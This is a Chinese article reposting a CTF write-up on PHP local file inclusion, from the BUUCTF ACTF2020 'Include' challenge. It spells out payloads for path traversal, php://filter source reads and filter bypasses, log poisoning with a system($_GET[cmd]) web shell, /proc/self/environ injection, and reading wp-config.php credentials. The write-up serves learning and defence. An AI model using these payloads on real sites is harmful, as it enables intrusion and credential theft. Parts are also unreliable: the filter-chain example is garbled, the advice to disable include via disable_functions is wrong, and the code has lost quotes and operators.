首页/新闻资讯/正文详情

PHP文件包含漏洞原理与CTF实战利用技巧

发布时间:2026/11/2 16:03:31 来源:云帆数科 栏目:资讯中心
PHP文件包含漏洞原理与CTF实战利用技巧
1. 题目背景与初步分析BUUCTF是国内知名的CTFCapture The Flag竞赛平台而[ACTF2020 新生赛]Include1是一道典型的Web安全题目考察文件包含漏洞的利用技巧。这类题目通常模拟真实Web应用中的安全缺陷要求参赛者通过漏洞获取服务器上的敏感信息或执行系统命令。这道题目标题中的Include明确提示了考察点——文件包含漏洞File Inclusion。文件包含是PHP应用中常见的安全问题主要分为本地文件包含(LFI)和远程文件包含(RFI)两种类型。根据题目名称和BUUCTF平台的特点我们可以预判这是一个本地文件包含漏洞的利用场景。2. 文件包含漏洞基础原理2.1 PHP文件包含机制PHP中常用的文件包含函数有四个include()include_once()require()require_once()这些函数的设计初衷是为了代码复用但当开发者将用户可控的输入直接传递给这些函数时就会产生安全风险。例如?php $page $_GET[page]; // 用户可控输入 include($page . .php); // 危险的文件包含 ?2.2 漏洞利用方式本地文件包含(LFI)的典型利用方式包括读取系统敏感文件如/etc/passwd结合日志文件注入PHP代码利用/proc/self/environ等特殊文件使用PHP伪协议php://filter等在本题环境中根据其他参赛者的writeup提示主要考察的是PHP伪协议的利用。3. 解题步骤详解3.1 初步探测首先访问题目提供的URL通常会看到一个简单的Web页面。通过查看页面源代码我们可以寻找可能的漏洞入口点。对于文件包含类题目常见的测试方法是尝试修改URL参数http://target.com/?page../../../../etc/passwd如果存在文件包含漏洞可能会返回系统文件内容或报错信息。3.2 PHP伪协议利用当直接文件包含被限制时PHP伪协议是强大的绕过工具。本题的关键是利用php://filter协议php://filter/convert.base64-encode/resource目标文件这个payload的工作原理php://filter - 指定使用PHP过滤器convert.base64-encode - 将文件内容以base64编码输出resource - 指定要读取的文件使用这个技术可以绕过一些文件内容检测因为输出是base64编码的。3.3 获取源码在本题中通过构造以下URL获取index.php的源码http://target.com/?filephp://filter/convert.base64-encode/resourceindex.php服务器会返回base64编码的PHP文件内容解码后可以得到完整的源代码?php // index.php 示例代码 $file $_GET[file]; if(isset($file) !strstr($file, ../)){ include($file); }else{ include(default.php); } ?从代码中可以看到开发者虽然过滤了../防止目录遍历但没有过滤PHP伪协议的使用。3.4 分析源码寻找flag在CTF比赛中flag通常存储在以下位置之一当前目录下的flag.php文件/flag文件数据库中的特定表环境变量中根据获取的源码分析下一步尝试读取flag.phphttp://target.com/?filephp://filter/convert.base64-encode/resourceflag.php解码返回的base64内容后通常就能看到包含flag的PHP代码?php $flag ACTF{th1s_1s_f1le_1nclus10n_fl4g}; ?4. 进阶利用技巧4.1 绕过常见过滤在实际比赛中可能会遇到更严格的过滤以下是几种绕过方法大小写混淆php://FilTer/convert.base64-encode/resourceindex.php双重编码php:%2f%2ffilter/convert.base64-encode/resourceindex.php使用相对路径php://filter/convert.base64-encode/resource./index.php4.2 利用日志文件注入如果伪协议被禁用可以尝试通过包含日志文件注入PHP代码修改User-Agent为PHP代码?php system($_GET[cmd]);?然后包含访问日志http://target.com/?file/var/log/apache2/access.log执行系统命令http://target.com/?file/var/log/apache2/access.logcmdls4.3 利用/proc/self/environ当Web服务器进程环境变量可控时如通过User-Agent可以包含环境变量文件http://target.com/?file/proc/self/environ在User-Agent中注入PHP代码执行系统命令5. 防御措施作为开发者防止文件包含漏洞的最佳实践包括白名单验证只允许包含预定义的文件$allowed [home.php, about.php]; if(in_array($page, $allowed)) { include($page . .php); }硬编码路径前缀include(/var/www/templates/ . $page . .php);禁用危险函数在php.ini中设置disable_functions include,include_once,require,require_once使用basename()函数include(basename($page) . .php);6. CTF中的变种与扩展在更高难度的CTF题目中文件包含可能与其他漏洞结合文件包含文件上传上传图片马后包含文件包含Session通过包含session文件获取敏感信息文件包含PHP过滤器链构造复杂的过滤器链实现RCE例如使用过滤器链执行命令php://filter/convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resourcedata://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8这个复杂的过滤器链最终会解码并执行PHP代码。7. 实际渗透测试中的应用在真实渗透测试中文件包含漏洞的危害更大读取配置文件获取数据库凭证查看应用程序源代码寻找其他漏洞结合其他漏洞实现服务器接管在内网渗透中作为突破口例如通过文件包含读取WordPress的wp-config.php文件http://example.com/?file../../../../wp-config.php可以获取数据库用户名、密码等重要信息。文件包含漏洞的挖掘通常需要全面参数测试对所有输入参数进行测试模糊测试使用工具如ffuf测试各种payload源代码审计检查所有include/require的使用点流量分析检查正常请求中的文件包含模式

相关推荐

Windows磁盘配额实战指南:NTFS卷级存储治理与角色化配额配置
Windows磁盘配额实战指南:NTFS卷级存储治理与角色化配额配置

1. 项目概述:为什么磁盘配额不是“过时功能”,而是Windows系统里最被低估的管理杠杆 “磁盘配额”这四个字,对很多刚接触Windows服务器或企业桌面环境的新手来说,听起来像教科书里的冷知识——它不炫酷、不涉及AI、不弹窗、不联网… · 2026/11/2 16:02:31

内存健康评估四层验证体系:物理-电气-时序-系统协同测试法
内存健康评估四层验证体系:物理-电气-时序-系统协同测试法

1. 为什么“测内存好坏”这件事,90%的人从第一步就做错了 “测试内存的好坏工具”——这个标题看似简单,实则藏着一个被长期低估的认知盲区:绝大多数人把“内存测试”等同于“跑个MemTest86看有没有报错”,就像用体温计测发烧却不… · 2026/11/2 16:02:31

Selenium IDE:零代码实现Web自动化测试的终极指南
Selenium IDE:零代码实现Web自动化测试的终极指南

1. Selenium IDE:零基础也能上手的自动化测试神器 第一次接触Selenium IDE时,我正为一个电商项目焦头烂额——每次上线前都要手动测试几十个关键路径,重复点击相同的按钮,填写相同的表单。直到发现这个浏览器插件,测试… · 2026/11/2 16:02:31

Rust 构建 Nostr relay:从 git 克隆到 WebSocket 事件处理
Rust 构建 Nostr relay:从 git 克隆到 WebSocket 事件处理

1. 从 "buzz" 这个项目名说起:它到底想解决什么问题 第一次看到 "buzz" 这个标题,加上 Nostr、relay、Rust、git 这几个关键词,我脑子里第一反应是:这大概率是一个用 Rust 写的 Nostr 中继(relay&… · 2026/11/3 15:22:53

回形针虽小,藏着工程学:从弹性原理到办公选型全解析
回形针虽小,藏着工程学:从弹性原理到办公选型全解析

如果你问我办公室里最不起眼但最离不开的小东西是什么,我的答案不是订书机,也不是便利贴,而是那盒躺在抽屉角落里、看起来毫无技术含量的回形针(paperclip)。这东西单价低到可以忽略不计,形状也就那么几道弯… · 2026/11/3 15:22:53

一枚回形针的无限可能:从夹持原理到手工搭塔指南
一枚回形针的无限可能:从夹持原理到手工搭塔指南

paperclip,就是回形针。我估计你工位抽屉里至少有一盒,但很少正眼看它。我最近把它当成一个正经项目研究了一遍,从结构原理、日常用法到手工搭塔,前后折腾了两三周,收获比我预想的多。这篇东西不打算讲教科书式的大道理… · 2026/11/3 15:22:53

深入理解JavaScript中的$subscribe机制与应用
深入理解JavaScript中的$subscribe机制与应用

1. $subscribe 的基本概念与用途在JavaScript编程中,$subscribe通常出现在响应式编程框架或状态管理库中,特别是像RxJS这样的库。它主要用于订阅一个可观察对象(Observable),当这个对象发出新值时,订阅者就能接收到更新。举个例子… · 2026/11/3 15:22:53

Mentor DxDesigner原理图设计参数设置与DRC避坑指南
Mentor DxDesigner原理图设计参数设置与DRC避坑指南

简介:本资源是一份面向电子设计工程师、EDA初学者及高校相关专业学生的Mentor原理图与PCB协同设计入门教程,聚焦DxDesigner原理图创建、参数配置、页面管理、DRC验证及原理图转Layout打包全流程,解决从零搭建规范项目到工程交付的关键实操问题… · 2026/11/3 15:22:53

智能运维核心技术解析与制造业实践指南
智能运维核心技术解析与制造业实践指南

1. 智能运维如何成为企业数字化转型的核心引擎 第一次接触智能运维这个概念是在三年前的一次数据中心故障排查中。当时我们团队花了整整36小时才定位到一个由内存泄漏引发的连锁故障,而事后分析日志发现系统早在故障发生前12小时就出现了异常指标。这件事让我深刻意… · 2026/11/3 15:21:52

双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试
双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/2 13:10:28

STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析
STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/3 6:04:24

DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案
DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/3 5:52:46

STM32F411RE与MAX14431实现SPI隔离:工业现场抗共模干扰实战
STM32F411RE与MAX14431实现SPI隔离:工业现场抗共模干扰实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/3 1:01:59

ESP32+大模型AI硬件开发:从Demo到产品的8个工程问题
ESP32+大模型AI硬件开发:从Demo到产品的8个工程问题

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/3 1:01:59

基于MAX14431BAEE+与PIC18F85J10的SPI隔离方案设计与实践
基于MAX14431BAEE+与PIC18F85J10的SPI隔离方案设计与实践

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/3 1:01:59

双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试
双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/2 13:10:28

STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析
STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/3 6:04:24

DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案
DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/3 5:52:46

了解更多?预约专属演示

我们的顾问将为您一对一讲解产品与方案

企业微信二维码